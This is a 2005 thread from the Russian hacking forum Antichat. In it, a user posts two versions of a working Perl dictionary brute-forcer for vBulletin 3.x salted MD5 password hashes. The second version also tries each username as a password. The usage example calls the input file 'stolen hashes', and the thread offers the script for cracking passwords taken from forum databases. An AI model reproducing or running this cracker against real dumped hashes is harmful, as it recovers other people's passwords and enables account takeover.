HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
Перезагрузить страницу перловый брутфорс md5
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Простой брутфорсер на перле для vBulletin
  #1  
Старый 18.12.2005, 01:46
DetMyl
Участник форума
Регистрация: 17.12.2005
Сообщений: 121
С нами: 10735526

Репутация: 227
Lightbulb Простой брутфорсер на перле для vBulletin
Мне сегодня понадобилось разшифровать пару хэшей от vBulletin 3.0.7, полазив по инету я нашел единственно полезную вещь Здесь .
Но так как я предпочитаю перл (и думаю немного побыстрей будет), написал вариант простого брутфорсера для хэшей от vBulletin 3.х. Т.е. расшифровка хэшей созданных по алгоритму md5(md5($pass).$salt)

Если кто-то может улучшить скорость работы скрипта, пишите плс!
PHP код:
# This is a very simple perl brutforcer for vBulletin 3.x MD5 hashes.
# For usage you need a dictionary file and file with hashes (:-))
# Hashes have to be in this form: "username:hash:salt"
# Good Luck!
#
# (c)DetMyl 17.12.2005, Detmyl@bk.ru

if (@ARGV < 2)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl vB_hash.pl [dictionary file] [username:hash:salt file]
 I.e. : perl vB_hash.pl someBigDitionary.dic spizhzhenyeHashy.md5
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );
 exit;
 }

 use Digest::MD5 'md5_hex';

 $hashSaltFile = $ARGV[1];
 $dictfile = $ARGV[0];
    
  open (HASHFILE, $hashSaltFile) || die "couldn't open the file $hashSaltFile";

   while ($hashes = <HASHFILE>) {
    open (DICTFILE, $dictfile) || die "couldn't open the file $dictfile";
    ($user,$hash,$salt) = split(/:/, $hashes);
        $salt =~ s/\n//;
      while ($words = <DICTFILE>) {
            $words =~ s/\n//;
                if ( $hash eq md5_hex(md5_hex($words).$salt)) { print "FOUND!!! user: ".$user." pass:".$words."\n";}
                            
        }
      close(DICTFILE);
      }
   close(HASHFILE); 
𝕏 Twitter Reddit Telegram Копировать ссылку
Последний раз редактировалось DetMyl; 18.12.2005 в 17:35..
 
Ответить с цитированием

  #2  
Старый 24.12.2005, 19:30
vector
Новичок
Регистрация: 08.09.2005
Сообщений: 6
С нами: 10879134

Репутация: 0
По умолчанию
Спасибо это - полезная вещь!
 
Ответить с цитированием

  #3  
Старый 26.12.2005, 15:52
DetMyl
Участник форума
Регистрация: 17.12.2005
Сообщений: 121
С нами: 10735526

Репутация: 227
По умолчанию
Немного улучшил скрипт: теперь по-умолчению проверяется имя пользователя как пароль, и при нахождении пароля скрипт сразу переходит к следующему хэшу.
PHP код:
# This is a very simple perl brutforcer for vBulletin 3.x MD5 hashes.
# For usage you need a dictionary file and file with hashes (:-))
# Hashes have to be in this form: "username:hash:salt"
# Good Luck!
#
#
# (c)DetMyl 17.12.2005, Detmyl@bk.ru



if (@ARGV < 2)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl vB_hash.pl [dictionary file] [username:hash:salt file] 
 I.e. : perl vB_hash.pl someBigDitionary.dic spizhzhenyeHashy.md5
 +++++++++++++++++++++++++++++++++++++++++++++++++++
           );
 exit;
 }

 use Digest::MD5 'md5_hex';

 $dictfile = $ARGV[0];
 $hashSaltFile = ($ARGV[1] ne '') ? $ARGV[1] : $ARGV[0];
    
  open (HASHFILE, $hashSaltFile) || die "couldn't open the file $hashSaltFile";
   

   while ($hashes = <HASHFILE>) {
       ($user,$hash,$salt) = split(/:/, $hashes);
        $salt =~ s/\n//;
        if ( $hash eq md5_hex(md5_hex($user).$salt)) { print "FOUND!!! user: ".$user." pass:".$user."\n";next} #check with username
        open (DICTFILE, $dictfile) || die "couldn't open the file $dictfile";
       while ($words = <DICTFILE>) {
            $words =~ s/\n//;
                if ( $hash eq md5_hex(md5_hex($words).$salt)) { print "FOUND!!! user: ".$user." pass:".$words."\n"; last;}
                            
        }
      close(DICTFILE);
      
      }
   close(HASHFILE); 
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
vBulletin Version 3.0.7 Enter.beta Уязвимости CMS / форумов 9 11.11.2005 01:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.